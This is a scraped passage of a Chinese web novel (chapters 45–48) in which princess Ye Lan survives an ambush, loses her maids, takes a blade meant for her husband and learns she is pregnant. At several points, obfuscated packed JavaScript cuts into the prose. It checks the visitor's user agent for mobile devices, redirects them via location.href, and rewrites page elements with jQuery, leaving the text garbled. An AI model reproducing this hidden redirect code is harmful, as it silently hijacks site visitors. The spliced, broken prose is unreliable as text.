叶岚在马车上计算着时间:她九月二十出发,冷逸尘是九月二十四出发,今日是九月二十七,算时间冷逸尘应该已经到了涵关。她掀开帷幕问泽生:“咱们几日能到重峪关?” 泽生回答:“照这样走,估计还要十日。” 这样下去肯定不行,叶岚命队伍停下,决定放弃辎重,轻装前行。她知此行危险,本想独身随侍卫骑马前去,奈何安如和秋雨誓死相随。 没有时间再拉扯,泽生安排人押送辎重去榆关,只留下一辆马车和换洗衣物。计划好一切后,车马便向重峪关驶去。 行路两个时辰,途经一片茂林,已是夕阳西下、倦鸟归巢之时。泽生正心里盘算着到哪里借宿,忽听得大树梢头有异响。 来不及让众人躲避,便听见“唰、唰、唰……”的声响,是十几箭朝队伍射来。 45. 穷途行路难 侍卫们当即折了半数。有两只箭穿入马车内,所幸未伤到人。马车前方有人拦截,一个急刹,车内的人重重地朝车厢前壁上撞去。 紧接着外面便传来兵器碰撞的声音。片刻惊慌后,叶岚立即镇定下来,将剑握在手中。秋雨吓得缩成一团,安如紧紧护住公主。 侍卫们奋力抵抗,最终以折损过半的代价杀死了大部分刺客,另有两名刺客逃走。泽生不敢恋战,未命人追击,目前速速离开这里才是上策。 来人训练有素、进退有度,泽生断定他们不是山贼或劫匪,而是刺客。 他将情况禀明叶岚。他们不知朝局,一时猜不出会是谁派出的。敌在暗我在明,现在只能隐蔽前行。二人商议后当即决定折返,到刚才路过的村庄内避难。 叶岚束起袖口,将暗器藏于身上,一把剑背在背后,一把剑配在腰间。这两把剑,一把是叶皓送的、一把是冷逸尘送的。 泽生本想弃了车架,骑马前行。可安如与秋雨既不会骑马又不能远足,只得继续坐车。 叶岚坚决反对,很明显这些人是冲着她来的,这马车便是目标,坐车只会更危险。 为难之际,秋雨身着叶岚的红衣跪拜道:“王妃,请快随侍卫离开,让奴婢来做您的替身。” “不行。”叶岚果断拒绝,她从未想过牺牲她们换取平安。 秋雨再拜:“殿下救奴婢于战乱,奴婢无以为报,只有舍命护王妃周全。” 安如也跪在叶岚面前劝道:“公主,快走吧,奴婢与秋雨引开他们。公主一定要好好活下去。” “姑姑不可!”叶岚扶她起身,安如等于她的半个母亲,她说什么也不会让安如去赴险。 黑暗中她看不清安如脸上的决绝,只听到悲切的声音:“奴婢曾答应公主的母亲,要护公主周全。若公主有什么事,九泉之下,叫奴婢有何颜面去见她。” 泽生耳聪,听见有脚步声。情况危机,三人未决,他催促道:“公主快走,有人追来了。” 还未及叶岚阻止,安如拉秋雨上了马车,执鞭驾车而去。泽生将叶岚拖入树丛之中,对着剩下的侍卫比划了几个手势。侍卫得令,一半留下保护他们,一半追随马车而去。 不一会儿,果然听见马车前进的方向传来兵器撞击声、马儿嘶鸣声,似乎还有女人的惊呼声。 叶岚想出去救她们,可却被泽生死死地按住。他小声说道:“若公主此刻出去,那她们的牺牲就全都白费了。” 叶岚胸口似有千斤重,心中的痛苦已无法承受,就这样眼睁睁地看着她们为自己而死。她紧紧捂着嘴,不让自己哭出声来。 他们在树丛中伏了一个时辰,直至声音远去,一切又归为沉寂之后,泽生派一个侍卫将马匹寻来,几人前往村庄。 夜晚的村庄万籁俱寂,借着月光,他们找到了一个衰败的院子。院子里的荒草有一人多高,仅有两间正房一间厢房,屋内满是尘土与蛛网。 众人将马匹安顿进了厢房,安排好值守,各自去休息。 泽生用稍微打扫出一块地方,铺上斗篷请叶岚安歇,他则在房外看守。 叶岚刚经过生死大难,惊魂未定。她深深自责,如若她没有执意离京去燕北、如若她没有半路折返,都不会是这个结局。他们都是无辜的,他们都是为她而死。 心事重重,无法睡眠。她站到了窗前,秋夜的寒凉侵袭,薄衫下的肌肤立即起了一层鸡皮疙瘩。 临近晦日,中天一钩弯月在纤云中时隐时现,惨淡的光亮让这世间的一切都变得凄凉起来。 究竟是谁在追杀她?冷逸尘会不会也有危险?不知战事如何了?不知哥哥和夫君要如何面对?这一切,等到了重峪关都会有答案。 她回去躺下,闭上眼睛强迫自己入睡。此时还不能倒下,重峪关还在等她。 就这样她半睡半醒、似梦非梦地过了两个时辰。 待至天光熹微,泽生端了水和几张饼子进来。他已换上了粗布衣裳,并放下一个包袱,说道:“公主,此处不能生火,只能委屈您吃这些了。这衣服是从农家换来的,请公主换上,这样前行方便一些。” “我们什么时候出发。”叶岚恨不得现在就飞到重峪关。 “现在的情形,只能昼伏夜行。等天黑再出发。刚才探查了四周,这个村庄只有几户人家,散开在山间相距甚远。这个屋子还算安全。” 叶岚点点头,又问道:“可有安如、秋雨的消息?” 泽生顿了一下回禀:“凌晨时,属下带人去找了马车,马车翻倒在沟里,安如胸部中箭被压在车下,没了……气息。没有找到秋雨,车旁边有被撕碎的衣服……地上还捡到了这个。”说完双手奉上一根带血的发簪和一只耳坠子。 叶岚边听边握住拳头试图控制内心的痛楚,一阵恶心眩晕之感让她站立不稳。安如身亡,秋雨经历的什么可想而知。她咬着牙问道:“可查出是谁派来的人?” “属下检查过尸体,看刺客的衣着是陛下的护卫军,但是看面相却不像是护卫军的人?” 叶岚不解:“怎么说?” “护卫军是陛下的亲军,军士都是精挑细选的,武功高强、家世清白,样貌品行皆是出众的。不会有像今天这般长相粗犷、不修边幅之人。也不会行……如此猥琐之事。” “那会是谁?” “属下只是猜测,是不是陛下还未可知。” 叶岚恍然:“如此说来,即便是我不出京,也会受到胁迫,也会有危险。” 泽生点点头:“属下虽不懂朝局,但殿下他的确是在风口浪尖上,定会遭人猜忌。” 叶岚深深叹了一口气:冷逸尘的心善让他不会有夺权的念头,但新帝和内阁又是怎样想他、怎样看他。或许这仅仅是个开始,以后的路注定艰难。 她看着外面,天还未大亮:“我要去葬了姑姑。”说完便起身。 “公主放心,昨晚属下已经将安如姑姑简单埋葬。做好了标记,待日后再迁坟即可。” 叶岚抬头看着他,感激的说道:“姑姑待我如女,处处为我尽心竭力,最后竟也为我身死,是我对不住她……泽生,我欠你一个人情。”说罢起身,微躬致谢。 泽生闪身未受,只说道:“江湖道义。公主若觉得对不住姑姑,那就振作起来,去为姑姑报仇。”说完抱拳行礼:“公主安歇,太阳落山便出发,属下告退。” 昨夜泽生检查了剩下的物资,还好最重要的舆图没丢。但他们身上没有细软,一路上人吃马喂,又不能走明路 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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起初泽生听到“我大概回不去了”,还以为公主是说回不去梁国了,可下一句“要保护好他”让他明白了公主是要离开祁国、离开他家殿下了。 他惊讶地看着叶岚,叫了一声“公主”。 叶岚转头对他一笑。 泽生愣愣地看着她,只见她眼下乌青、面庞憔悴、苍白的嘴唇已起了一层干皮,可笑容却是从容,眼中似乎有一种解脱之感。 叶岚眨了一下眼,泽生这才发现他已逾矩,赶紧放低了目光。不确定地问道:“公主,是要离开祁国?离开殿下?” “大概吧!不知道重峪关会发生什么事。”前路未卜,叶岚此刻已做了最坏的打算。 “公主是不喜欢殿下了?还在生殿下的气吗?” “不,喜欢不一定要在一起。未成婚前他过得很好、我过得也很好。可两年来,多少颠沛流离……我感觉累了。或许,离开了他,他就不会再会有什么牵绊,我也不用这么煎熬。放下了也许都会好过些……”剩下的话叶岚没有说口:又或许,我会一直留在重峪关…… “公主……”泽生想说些什么,可又不知道说些什么。 叶岚继续说道:“你那方帕子是江南姑娘所绣,只是丝线没劈好,显得绣工不好。她是谁,若有机会,我替你寻来。” 泽生摸了摸胸口,沉默了一会,看向前方,目光不知聚焦到了哪里:“就像公主说的,喜欢不一定要在一起。” 46. 同门起刀兵 却说冷逸尘到了重峪关,了解了战事,发现情况远比他想象的复杂。 他提出议和,但前线的将士皆反对。他们心中怒气积压,不愿之前的袍泽们白白牺牲。 叶皓率军在城下十里处驻扎,战书已下,只等祁军出城应战。 冷逸尘书信至叶皓,皆被退回。叶皓也多有无奈,此时不战,军心难收。 周旋几日,未见分说。就在叶岚到达重峪关的前一夜,京中派何素来宣旨:再不迎战,罪同叛国。 何素,何敞堂弟。 冷逸尘看着圣旨,心中万般无奈。他一夜未眠,调集兵力,准备迎战。 次日一早,重峪关城下。号角战鼓声中军士阵列整齐、披坚执锐,张弓搭箭、两阵对圆。 冷逸尘与叶皓于分别驻马于两军阵前。 叶皓下马,提剑向前:“你终究是出来了。拿起剑来,我们再比一回。” 冷逸尘亦下马上前,手中握刀:“长右山师规:不得剑指同门。我只用刀。” 叶皓亦换了刀,二人对面而立。冷逸尘有些悲戚,抱着最后一丝希望:“师兄,退兵吧!” “事已至此,如何退兵?你为何不早干预此事,非要等到如今?”叶皓不理解,他口口声声说要为两国和平,为何还会任由事情发展到这个地步。 面对他的质问,冷逸尘有苦难言。 “暖暖可与你同来?你可曾考虑过她的安危?”叶皓进一步逼问。 “她去了榆关……” 叶皓大怒:“糊涂!你怎么能让她一个人离开。你有没有想过,你朝中可能会用她来威胁你?” “我……”冷逸尘不知该从何解释。 “什么都别说了,接招吧!”叶皓说罢将刀砍了过去,冷逸尘抬刀抗下刀锋。二人数个回合,未见分晓。 重峪关城楼上,何素望着二人的打法,着实是奇怪:五分进攻五分防守,不像是要取人性命,更像是切磋武艺。 新帝登基后针对何家的种种政策,让何敞敏锐的感觉到了新帝对他的忌惮,他决定趁新帝根基未稳之时先行下手。于是暗中调集兵力,准备围困京都,自立为帝。 但手握重兵的崇宁王是最大的威胁和阻碍,必先除之,而后大业可成。此番重峪关事件,是何敞从中操控引发战事,目的就是为将崇宁王调离京城。 何敞猜测崇宁王会因王妃之故有所顾忌,不能应战。便令何素矫诏前来,寻崇宁王错处将其斩杀。他未料到崇宁王妃会独自出京,于是派人追杀。 何素有些着急,想尽快了结了崇宁王,于是命人将捉来的王妃带上城楼,大喊道:“陛下旨意,杀梁国昭阳公主祭旗,以壮军威。” 听闻此言,叶皓和冷逸尘同时住手,双双望向城楼。只见军士将一把刀插进了红衣女子胸口,女子倒在城楼上。后尸体被吊在城墙鹿角之上,鲜红的帔帛随风轻飏,直上九重天。 此时,曾是梁国函关守城将的韩振,认出那是昭阳公主。想公主当年出嫁之日,也是一袭红衣,何等大义凛然,如今却被斩杀祭旗,不由恨意涌上,挥刀大喊:“为昭阳公主报仇,进攻。” 随后梁军击鼓鸣金,将士冲锋,双方开战。 叶皓看着城楼上红衣如血,震惊不已,身躯为之一震。他不敢相信那竟是叶岚、不相信冷逸尘会骗他。 待冲杀声响起,他回过神来,怒问冷逸尘:“她怎么会在这里?为什么会这样?” 冷逸尘如天塌了一般,欲回城中,却被叶皓拦住,面对叶皓的责问,他不知如何回答。 “说话!”叶皓带着一腔愤怒将刀砍向冷逸尘,刀锋凌厉,招招致命。 冷逸尘只是防守,却不进攻。此刻他心中绝望,一为叶岚身死、二为新帝绝情。他恨不得被一刀刺死才好,未接几招,便中门大开,闭眼等着叶皓来砍。 刀锋当胸刺来,说时迟那时快,一个身影突然出现在二人中间,替他挡了这一刀。 叶皓正对着来人,这人虽灰容土貌,可却再熟悉不过。他心中一惊:暖暖。想收手却已来不及。 叶岚看着刀锋刺进了前胸,又看着刀锋拔出鲜血涌出。她先是感到了刀刃的凉意,后又感到了鲜血的温热,继而身体无力地瘫软下去。 “暖暖?暖暖……暖暖!!”叶皓丢了刀,上前接住了她,用手去捂她流血的伤口。 冷逸尘欲迎刀,虽闭着眼,但却感觉眼前黑影一闪,接着听到叶皓叫着“暖暖”,他才回过神来,睁眼正见叶皓正接住叶岚。他也愣了一瞬后才弃了刀欲接过叶岚,却被叶皓使劲推开。 叶皓女不可遏:“这又是怎么回事?这到底是怎么回事?” 冷逸尘明明看见她被杀死、可她又出现在他面前、又替他挡了刀。一时变故让冷逸尘不知所措,慌乱到只是傻傻地看着他们。 还未及他反应过来,一个侍卫飞身到冷逸尘身边,附耳道:“京中密信,何敞叛乱,围困京都。” 冷逸尘又是当头一棒,何家怎么会动作这么快?是他低估了何家。他紧握双拳,此时后悔已晚,需快快决断。 家国与爱人,谁都不能放不下。情况紧迫,他没有时间多思考,只能忍痛做出选择。 他低头冷静了片刻后,抬头看向叶皓,绝望的目光中带着哀求:“师兄,带她回去,等我平了叛乱就去接她。” 然后他双手握起叶岚的一只手放到自己胸口,说道:“叶岚,等我回来。”说完狠了狠心,上马而去。 叶岚看着他远去的背影,意识也逐渐模糊,她用尽最后的力气说道:“撤兵吧……” 泽生对叶皓行叩拜大礼,将一个包裹及那两把剑放到了叶岚身边,说道:“泽生替我家殿下谢过殿下,请殿下看顾王妃。”说罢起身向重峪关飞去。 叶皓未迟疑,随即抱起叶岚,高喊“退兵”。 听到这个声音,两国众将士不明就里,但见双方主帅皆撤退,也纷纷停战撤退。这一战就这样稀里糊涂的结束了。 叶皓带叶岚回到营中中帐,急命军医前来。 军医见叶岚血染衣襟,便倒出两粒丸药让人给她服下。可把脉时不禁眉头一皱,急急说道:“快快住手,此药不可服。” “为何?这不是止血的保济丸吗?有何不能吃?”叶皓停手,第二粒药丸留在了他手里。 军医又搭了另一只手的脉,才确认的说道:“这位姑娘已有身孕,这丸药恐对胎儿不利。” 叶皓听了一惊,可现下也没有选择,保住叶岚的命要紧。便说道:“先保住大人的命,可有伤及性命?” “倒是于性命无碍,只是失血过多需赶紧上药包扎,只是老夫一介男子……”军医面露难色。 叶皓看着叶岚愈发苍白的脸,说道:“药和布条拿来,都出去。” “让属下来吧!”师英玉走上前,接过金疮药和布条,说道:“我是女子,我来吧。” 众人退出,叶皓亦在屏风外等待。这一剑的位置本是冷逸尘的心窝处,由于身高不同,到了叶岚身上位置移到了胸部,所以并不致命。 不多时,师英玉便为叶岚包扎好。她见惯了这些,知道该如何上药包扎。叶岚在上药的时候疼醒了,看了一眼师英玉,又晕了过去。 军医告知叶皓,不仅仅是保济丸对胎儿不利,就连这外敷的金疮药也是同样有害,可眼下也没有什么更好的办法了。 于是,叶皓又紧急从函关请来了妇科郎中,这次他用丝帕覆了叶岚的手腕,再命郎中诊脉。 郎中一搭脉,便不由得眉头紧锁。叶皓看得出情况危险,心中恨不得将冷逸尘千刀万剐。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14073890|149415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 良久,郎中借了一步说道:“的确已有身孕,可母体阴在于下、虚涩燥急,脉搏沉细无力、濡养无源。此前忧虑劳累,气郁胸中,而今又骤然失血,气分不足,阳虚气衰。此胎……”郎中没有说下去,只是轻轻摇了摇头。 叶皓也知无奈,只得告诉郎中和军医:母子二人都要保住,让他二人斟酌用药。 郎中走后,叶皓坐在床边,为叶岚擦去脸上的尘土。他看着面色苍白的叶岚,想着郎中的话:忧虑劳累,气郁胸中。 凌长风啊凌长风,难道我是看错你了!你怎么能这样对她!暖暖啊,你到底经历了什么?吃了多少苦?受了多少罪? 师英玉端着药进来,看着叶皓给伤者擦脸,顿觉事情不是传言那般简单。 今日她在帐中安排医药之事,如此战事必有伤亡。未曾想战事很快结束,主帅还带了一个受伤的女子回来。 回来的军士颇有怨言:这仗打的真是莫名其妙,主帅为了一女子而主动退兵,真是色令智昏。 她走近一看,信王竟红了眼角。她行礼道:“该上药了,殿下请回避。” 叶皓整理了一下情绪,起身到屏风后。 伤口的剧痛叶岚转醒。师英玉轻轻按住她的肩膀:“不要动。” 叶岚只觉喉咙干燥,抬手指了指水杯,师英玉给她喂了一些水。待喉咙湿润了,她问道:“你是谁?我在哪里?” “我叫师英玉,是信王殿下麾下军士,这是梁军大营中帐。”师英玉见她眼神戒备,补充了一句:“放心,我也是女子。” 叶岚的反应有些迟钝,看了一眼师英玉的耳垂有耳洞,确定了她是女子后才点了一下头。又问道:“信王……他在哪里。” 还未等师英玉回答,叶皓听见声音便进来了。 “哥哥……”叶岚身心拒痛,声音哽咽。 一句“哥哥”,让师英玉明白了所以。她有些惊讶的问道:“姑娘莫不是昭阳公主?” 叶皓点点头,叮嘱道:“消息不得外传。” “是,属下告退。”师英玉说罢识趣的退了出去。 确认叶岚无事后,叶皓总算松了口气:“你可算是醒了,你要是出什么事,我即刻去踏平重峪关……你怎么会在这里?城墙上的又是谁?” “我去燕北的路上遇到追杀,又听说你们开战了,便赶了过来。死的是我的侍女,她冒充我引开了追杀之人……”叶岚的呼吸牵引起伤口的疼痛,额头上起了一层细密的汗珠,没有力气再说下去。 原来,她与泽生等人赶了一夜路,终于在第二日清晨赶到了重峪关外,他们伏于高地观察形势,正看见秋雨身死、两军交战、二人打在一起。 叶岚再也等不下去,便冲入战场,泽生为她博出一条路。他们身着布衣,双方军队不知是敌是友,见他们未进攻,便也不敢贸然攻击他们,恐有误伤。 到达他二人跟前时,正值叶皓的刀刺向冷逸尘,叶岚想也未想便挺身为他挡了。 叶皓叹息道:“我就知道,祁国定会把你当筹码。他真是糊涂到家了……看你现在这副样子,他平日里是怎么待你的?早知这样,当初我就该把你带回来。” 叶岚回忆着历历过往,尤其是冷逸尘最后转身决绝离开的那一幕,便觉得心中比这伤口还要痛上千倍万倍。 她不解:冷逸尘啊,你不是说要来促成和平吗?为何却是这般情况?你总是让我等,可这等待要到什么时候?我跋山涉水、千辛万苦向你而来,可你又何要决绝离开。此时的她心如刀绞一般,无法言说,泪水犹如断了线的珠子。 叶皓用软帕为她一点点擦干,忧心她是委屈难言,便说道:“好了,先不说了,我定饶不了他。不要哭了,对孩子不好。” 叶岚一愣,有些错愕:“孩子?什么孩子?” 47. 绣线断情痴 提及孩子,叶皓的眉头舒展开来:“你有身孕了。他不关心不在乎,怎么你自己也这样粗心。” 这本是件喜事,可叶岚却好似惊天霹雳当头一击,身体犹如被泼了一盆冷水。抬手抚上小腹,不能接受这个事实。 上次月事本该在中秋之后,但这两个月过得惊心动魄、提心吊胆,原以为是惊吓致使月事不准,不曾想竟是有孕了。 现在想来之前的情绪不稳、食欲不振、身体疲乏,大约也有怀孕的缘故。 成婚两年,他从未提到过孩子的问题,会不会是因为不喜欢?如今他能狠心抛下重伤的她一走了之,之前的一往情深、信誓旦旦都是谎言。她永远不是他的首选。 她心中寒凉,闭眼叹息道:“这个孩子来得不合时宜……” “哪有什么不合时宜,这是高兴的事。好好遵医嘱服药,都会好起来的。”叶皓见她无半点喜色,为宽她的心,隐瞒了实情。端起药碗,将药吹凉一点点喂给她:“好好休息,等养好了身体咱们回家。” 叶岚听到“回家”二字,想起了叶均和夏萱,心中又是一阵酸涩。她已经没有力气再说话了,只是点点头。 叶皓又给她喂了半碗肉糜粥,轻声叮嘱:“忧思伤神,不要多想……对了,现在大营里没有侍女,只有刚才的女将军,今夜她照顾你,我就在外间,有事让她叫我。” 叶皓的话如春风细雨般温暖浸润着她,终于回到了亲人身边,她心中的委屈全部化作泪水流出。 叶皓满是心疼,为她一点点擦掉,暗下决心:此后再也不让她受半点磨难。 第二日,叶皓从函关调来了侍女和女子衣物、用品等。将中帐腾出,加装暖炉熏香,搬入药炉,只为叶岚养伤专用。 叶岚见众人忙碌,只觉得麻烦,便对哥哥说道:“不必如此,过几日就回函关了。” “不急,待你能动了再走。昨日一战打得糊里糊涂,现在退兵倒显得咱们怕了他们。祁国乱我疆界、诛杀我国公主,这些事我要等个说法。” 叶岚目光黯然,冷冷地说道:“昭阳公主已经死了,是祁国斩杀的……” 叶皓见她有怨恨,解释道:“祁国当着我国大军杀你祭旗,我虽怪长风未看护好你,但我相信他不会害你。今晨已探得长风回到重峪关后,一刀斩了城楼上的人,随后率军回祁京了。虽然不知出了什么事情,但他这样急,定然有大事。现在情况不明,所以我还未对外公开你的身份,几个知道你身份的人我已叮嘱过。这件事情到等祁国给个说法之后再酌情而定。” 今晨得知了这些消息后,叶皓冷静下来细细分析,依着他对冷逸尘的了解,还是选择相信他,相信他有苦衷。 “长风”二字令叶岚思考了好一会,才知道指的是冷逸尘。提起他,她心中十分怨恨。可一想到他又是去冲锋陷阵,又希望他能平安无事。 “时局难料,多想无益。你只管把身子养好,一切自有我来安排。”叶皓说完为她拽了一下被角后出去了。 军医为叶岚开了补血安神的药,她大部分时间都在昏睡。五日后,待她能坐起身后,叶皓将她送到了函关。 叶皓又安排了师英玉陪她同住。师英玉换回了女装,倒是一个十分俊俏的女子。几日相处,二人已十分熟络。 “早就听闻公主和亲的事,在下深深佩服公主的勇气和大义。” 叶岚回想出嫁之时,也是在这里,感慨道:“现在想来就像是一场梦。” “梁、祁两年无战事,已是很难得了,这都要归功于公主。” “那也没能阻止这场战争……师将军,你一女子?是怎么入的军营?”叶岚很好奇,女子从军她闻所未闻。 “我自小在军中长大,后来父亲受伤,我便随父回京。去年祖父师云杰含冤而亡,家中父病弟幼,我便求殿下允许我参军,调查祖父冤案,完成祖父遗志。” 叶岚不由得佩服师英玉,这才是真女中豪杰。她又问:“那可师老将军的冤屈可洗清了?” 师英玉向门窗处看了看,确定无人,才小声对叶岚说:“这件事很复杂,涉及西南杜家的阴谋,我祖父蒙怨也只是其中一件小事。这些事我想殿下以后会对您说的。” 叶岚见她如此隐秘,知是大事,便也不再追问。于是转了话题,问道:“师将军,今年年岁几何。” “别叫我师将军了,这里没有别人,公主就叫我阿玉吧。今年过完年就十九岁了。” “你还长我半岁,我以后就叫你玉姐姐吧,你就叫我……暖暖吧。” “好啊,我是个没规矩的,连带着公主和我一起没规矩了。”师英玉痛快的答应下来。 “公主已经死在重峪关了,以后再没有昭阳公主了。”叶岚幽幽地说道。 “公主只是个身份,可你要好好活下去。即使不为了别的,也要为肚子里的孩子。这个孩子,他就是未来,他就是希望。”师英玉坐到床边看着叶岚的肚子,眼中满是希望。她平日见惯了死亡,新生命的诞生是多么珍贵啊! 叶岚抚摸着小腹,这里竟然有一个小生命,可她现在一点都感觉不到,甚至还不能接受它的存在。 她有些忧愁:他还不知道,他若知道了会高兴吗?侍女端了药来,她接过一饮而尽,用药的苦涩压下了心中的苦涩。 师英玉端过一个小笸箩,里面装了些布料和针线。她拿着一块红色的布料问叶岚:“这个颜色怎么样?给小殿下做衣服怎么样?” “好看。”叶岚抚着料子,柔软细腻。 “公主帮我劈丝线吧,我这手粗糙,容易勾丝。”师英玉说着将金色的丝线交给她。 叶岚接过丝线劈开。 师英玉见她的手上有茧子,又拉过来仔细看看,问道:“你的手怎么也有茧子?我见过京城中世家女子的手,都同柔荑一般。你在祁国过得不好?” “我练了两年剑术。” “哦,原来是这样。看不出来呀,公主还会剑术。等你好起来,咱们切磋切磋。不行,你还怀着孩子。那等他出生,我们一起教他。”师英玉憧憬着未来,好似恨不得这孩子马上就出生、长大一般。 “那还要等好久……”叶岚将丝线交给师英玉。她不敢想象孩子以后的样子,但看着师英玉的期待,她心中竟也有了些期待。 二人在屋里说话,叶皓在外面心中叹气。他本无意偷听,只是刚想进去就听到她二人谈到孩子,叶岚才有了笑声。他不知该如何告知实情,也不忍告知实情。他没有去打扰她们,转身离开。 药劲上来,叶岚睡去了,师英玉坐在榻前绣着花。 叶岚醒来时,她已绣好了两片花瓣。但她对自己的绣工不太满意:“有一段时间没拿针线了,都生疏了。不过以前也绣得不好,我就做不来这样的细活。” 叶岚接过花绷子细细地看着,有种似曾相识的感觉,忽然她想起了泽生的那块帕子。带着些疑惑问道:“你是……师小将军?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14073891|149415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“是啊,他们都这样叫我。”师英玉没有听出她话里的意思,接过花绷子继续绣了起来。 “你……认识泽生吗?”叶岚试探着问。 这个名字让师英玉的手一颤,针刺中了手指,指腹冒出一滴圆圆的血球。她把手放在嘴里吮吸了一下,点点头,说道:“任泽生,认识。” 叶岚也迟疑了一下,原来他姓“任”。她又问:“你怎么认识他的?” “他是殿下的朋友。” 叶岚更加疑惑:“你说,他是我哥哥的朋友?” 师英玉搓了搓受伤的手指,解释道:“去年冬天,他来找殿下,帮殿下处理了几个杜家的亲信。公主怎么也认识他?” 这几句话让叶岚有些不解,回想去年冬日泽生离开燕北,难道就是来找叶皓?他们怎么会有如此交情?一定是因为长右山的缘故。 一时想不明白其中有何曲折,她只回答:“他是……祁国崇宁王的朋友。” “崇宁王!前些日子对战的那个将军……这个天下还真是小啊!”师英玉感慨了一句后并未再说什么,继续低头绣着。 “他心悦于你?”叶岚侧着头问道。 “他……和你说的?”师英玉听完脸颊微红,这突如其来到问题正中她内心所想。 “他有一块帕子,视如珍宝。我看那绣工和你这一样。” 师英玉并不隐瞒,坦率地说道:“手帕是我送给他的,可他不曾说过他心悦于我。可是……我心里有他。但他是祁国人,我们……不能在一起。” 叶岚也沉默了,她不知道如何劝解。他们之间里隔着的不仅是山山水水,而是千丘万壑。泽生不会为她离开冷逸尘,师英玉也不会为他抛下家国安危、师家仇恨。 若他们都只是普通炊烟人家该多好,不用有这么多责任,也不用有这么多顾忌。想爱便爱,想恨便恨。她又想起洛河边她对泽生的承诺,如今她做不到了,也不想去做了。 于是她说道:“我原想替他来寻你,可你看我如今的光景,我反倒不希望你二人再见面,还是从此了断得好。我只怕你们同我一样,到头来弄得遍体鳞伤。” “公主说的我都明白,我是个通透的,不会为了他而不顾家国。只是有时候想起来会心痛,错过了就错过了吧,人总是要向前看的。”她提及此事虽伤心,但却无半点留恋。 但是,有的人一旦错过了就再也遇不到了。叶岚又想到了冷逸尘,到现在十几日过去了也没有他的消息。也不知道他现在怎么样了? 叶岚想结束这伤感的话题,看着外面的阳光正好,她提议去外面晒晒太阳。师英玉正好绣累了,于是立即吩咐人在外面向阳的地方安置了软榻,扶着她靠到了外面。 落叶飘在叶岚身上,师英玉为她拂掉,又将耳朵贴在叶岚的小腹上听了听,说道:“我母亲怀弟弟的时候,三个月就能感受到胎动。她肯定是个女孩子,不爱动呢。” “他还那么小,怎么就会动了。” “你可别小看他,小孩子的生命最是顽强了。”师英玉说着将丝衾搭在了她的身上。 “这些日子,总是觉得没有力气,脚下也虚浮,也不知道这个孩子能不能生下来。” 师英玉拍拍她的手,安慰道:“常人受了这么重的伤,且得将养几个月,何况你还是两个人,不要心急。咱们用的都是天下最好的药,慢慢调理会好起来的。” 叶岚与她相视一笑:“借姐姐吉言,但愿一切都好。” 48. 往事咨嗟久 二人正笑着,叶皓带着药过来,问道:“说什么呢,这么高兴。” 师英玉立即敛了笑容,起身行了军中之礼:“末将参见殿下。” “这不是军中,不必多礼。”叶皓随意抬了下手示意她起身。 “想必殿下是有话对公主说,属下告退。”师英玉说罢便转身离去。 “你一来她便走,你军中纪律还真是严明。”叶岚看着变脸如此之快的师英玉,以为是叶皓将她吓走了。 叶皓将药端给她:“大约是避嫌吧。女子在军中不易,周围的将军对她多有照顾,可她很少接受。” 叶岚未接,稍微坐正身子:“先放一放吧……哥哥来得正好,我有些事要问你。” “我也有些事要问你,先把药喝了再说。”叶皓说着将药往她跟前送了送。 叶岚无奈接过,一饮而尽,漱了口之后问道:“去年冬天,泽生离开燕北,是来找你的?” 叶皓屏退侍女,将事情和盘托出:“是的。剑宗大比后,泽生就来找过我。长右山弟子身故,是招摇宗的阴谋,企图挑起江湖纷争。”随后叶皓放低了声音:“但据我调查招摇宗背后是杜卫的支持。杜家盘踞西南,意欲谋反。此事错综复杂,牵扯众多,已不单单是招摇宗与长右山结怨一事。” 叶岚思考着叶皓的话,这件事背后竟然是这样大大阴谋,怪不得泽生未将实情全部说出。冷逸尘只让他打探消息,他竟敢如此擅专。于是问道:“泽生,他到底是谁的人?他到底是个什么样的人?” 这话让叶皓不好回答,泽生自然是对长风忠心不二。但至于他是个什么样的人,他也摸不透。光明磊落又诡计多端,行侠仗义又为非作歹。最后他只评价了一句:“泽生,只是他自己……” 叶岚听完一愣,这句话似曾相识。 叶皓继续说:“去年头入冬,他又来找我。正好有几个杜卫的亲信,我也没有头明着来处理,是泽生伪装成了杀手,解决他们。我没想到泽生还杀了招摇宗的人,或者他一开始就是冲着招摇宗来的。我和长风都不好动手,他便替我们去复仇。” “这手段并不光明。”叶岚想,若冷逸尘知道了,决计不会同意泽生这样做。 “棘手的人和事也必要一些非正当的手段来处理。”叶皓也不认可这样的做法,但这样的确有效。 之后的事叶岚便猜到了七八分:“后来泽生受了重伤,回了燕北,躲在军营中不能出去。是你们寻了由头,对外称杀死了这个杀手,解了泽生之困?” “是的,他不慎中计受伤,是师英玉将她救回了他,秘密藏起来。师英玉是女子,这样不会有人怀疑到我军方。泽生不等伤好,执意要回燕北,我便送他回去了。” “我原以为泽生活的自随性,原来他才是那个最重情重义的人。”叶岚对泽生的印象彻底颠覆,好似又重新认识了这个人一般。 叶皓也有些敬佩他:“的确,他不是长右山的人,这些事本与他无关。他是为了长风、为了长右山。他知道长风不会用这些不能见光的手段,但若想报仇,长风又不会抛下一切不管不顾。他又是个心重的人,这些事只会让他更加痛苦。” 